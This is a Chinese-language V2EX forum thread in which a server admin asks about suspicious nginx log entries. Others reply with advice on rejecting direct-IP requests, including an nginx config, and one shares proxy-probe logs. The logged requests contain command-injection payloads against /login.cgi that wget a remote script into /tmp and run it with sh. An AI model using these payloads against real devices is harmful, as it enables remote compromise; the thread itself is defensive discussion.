nginx 安全问题

2018-08-22 00:02:28 +08:00
 bephbin

翻看 access.log 时发现有 2 条记录疑似 web 攻击

日志的格式是这样的: '$remote_addr | $remote_user | $host | $http_host [$time_local] "$request" ' '$status $body_bytes_sent "$http_referer" ' '"$http_user_agent" "$http_x_forwarded_for"'

41.42.156.85 | - | _ | - [21/Aug/2018:17:06:15 +0900] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.32.32.156/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 173 "-" "Hakai/2.0" "-"

208.102.74.74 | - | _ | - [21/Aug/2018:20:16:31 +0900] "GET /login.cgi?cli=aa%20aa%27;wget%20http://209.141.33.86/d%20-O%20-%3E%20/tmp/.shinka;sh%20/tmp/.shinka%27$ HTTP/1.1" 400 173 "-" "Gemini/2.0" "-"

我从日志也看不出是通过哪个 host 访问的

请问这个 400 状态会有安全问题吗?

能否把这种请求返回 444 状态码?

5660 次点击
所在节点    NGINX
14 条回复
billlee
2018-08-22 00:07:11 +08:00
扫描而已,不用太紧张
voocel
2018-08-22 02:19:08 +08:00
不要慌,问题不大
iCodex
2018-08-22 03:49:42 +08:00
实在是不爽的话?把这些流量全部 302 跳转到你想他们看到的地方去,比如你也搞个蜜罐,或者放一些恐怖恶心的东西?反正人家不是通过你的域名进来的,考虑那么多干嘛呢~
Livid
2018-08-22 04:12:33 +08:00
如果看不出是从哪个 host 访问的,那么很可能就是直接从 IP 访问的。

这种扫描本身问题不大,但是让你的服务暴露在 IP (或者任意域名)下面,是一个更大的问题。
lslqtz
2018-08-22 04:56:28 +08:00
对 IP 的访问,我认为返回 403 是一种合适的选择,除非是你想要看到的特定条件( UA/Host/IP )。
luozic
2018-08-22 05:24:12 +08:00
非合法链接直接跳个统一 404
totland
2018-08-22 08:56:32 +08:00
ip 访问 return444 就行了
sujin190
2018-08-22 09:52:30 +08:00
如果是用云的话,似乎无论是阿里云、腾讯云还是 ucloud,他们都有常规的 web 漏洞扫描,不过也影响不大
huangzxx
2018-08-22 11:27:49 +08:00
ip 访问,返回 444

```
server {
listen 80 default_server;
server_name _;
return 301 https://$host$request_uri;
}

server {
listen 443 default_server ssl http2;
server_name _;

include ssl/ssl.conf;

location / {
return 444;
}

access_log off;
}

```
bephbin
2018-08-22 19:25:03 +08:00
@iCodex
@Livid
@luozic
@sujin190
@huangzxx


谢谢各位的回答

自己用 telnet ip 80 的方式重现了日志里的 400 错误。问题是 nginx 对于这种方式的请求是怎么处理的,能返回 444 吗?
luozic
2018-08-22 20:49:29 +08:00
返回 444 干吊,直接扔 404 默认不行么?
Livid
2018-08-23 10:29:52 +08:00
有的时候你会遇到一种尴尬的恶意情况,就是有人把不属于你的域名指到你的 IP。如果这个 IP 还是一个国内的 IP,那么有可能当地的通管局就会通过 ISP 找你麻烦说未备案域名指向,这种情况下,符合通管局要求的处理方式就是返回 404。
ztlong
2018-08-24 10:11:27 +08:00
不看不知道,看到这条帖子把所有非注册的主机名访问日志全打了出来,发现这个 IP 一直发 CONNECT,查了好像是代理请求,我的机器是被当跳板了么,返回不成功还一直试,难道是越挫越勇?
[24/Aug/2018:07:57:06 +0800] 50.118.255.23 - "http://proxyjudge.us" - "GET http://proxyjudge.us/ HTTP/1.1" 501 583 "-" "Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1; Trident/5.0)" "-"
[24/Aug/2018:07:57:07 +0800] 50.118.255.23 - "http://-" - "CONNECT www.alipay.com:443 HTTP/1.1" 400 173 "-" "-" "-"
[24/Aug/2018:09:01:08 +0800] 50.118.255.23 - "http://fr.cyberpods.net" - "GET http://fr.cyberpods.net/ HTTP/1.1" 501 583 "-" "Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1; Trident/5.0)" "-"
ztlong
2018-08-24 10:28:38 +08:00
这个是日志格式:'[$time_local] $remote_addr - "$scheme://$http_host" $remote_user "$request" ' '$status $body_bytes_sent "$http_referer" ' '"$http_user_agent" "$http_x_forwarded_for"'

这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。

https://www.v2ex.com/t/482022

V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。

V2EX is a community of developers, designers and creative people.

© 2021 V2EX